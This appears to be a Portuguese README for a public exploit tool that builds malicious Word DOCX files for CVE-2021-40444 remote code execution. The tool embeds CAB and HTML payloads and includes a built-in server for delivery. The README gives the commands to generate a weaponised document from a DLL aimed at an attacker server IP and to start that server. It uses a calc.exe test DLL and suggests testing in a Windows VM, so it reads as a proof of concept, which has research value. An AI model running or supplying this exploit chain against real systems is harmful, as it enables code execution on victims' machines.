alexcot25051999/cve-2021-40444Gera arquivos DOCX maliciosos explorando CVE-2021-40444 para alcançar execução remota de código via payloads CAB e HTML criados, com um servidor de hospedagem integrado para entrega.
Gerador de docx malicioso para explorar CVE-2021-40444 (Execução Remota de Código no Microsoft Office Word)
A criação deste script é baseada em engenharia reversa sobre a amostra usada em campo: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (arquivo docx)
Você precisa instalar o lcab primeiro (sudo apt-get install lcab)
Consulte REPRODUCE.md para etapas manuais de reprodução
Se o seu cab gerado não estiver funcionando, tente apontar a URL do exploit.html para calc.cab
Primeiro, gere um documento docx malicioso a partir de uma DLL. Você pode usar o arquivo em test/calc.dll que simplesmente abre um calc.exe através de uma chamada para system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
Depois de gerar o docx malicioso (estará em out/), você pode configurar o servidor:
sudo python3 exploit.py host 80
Finalmente, teste o docx em uma Máquina Virtual Windows:
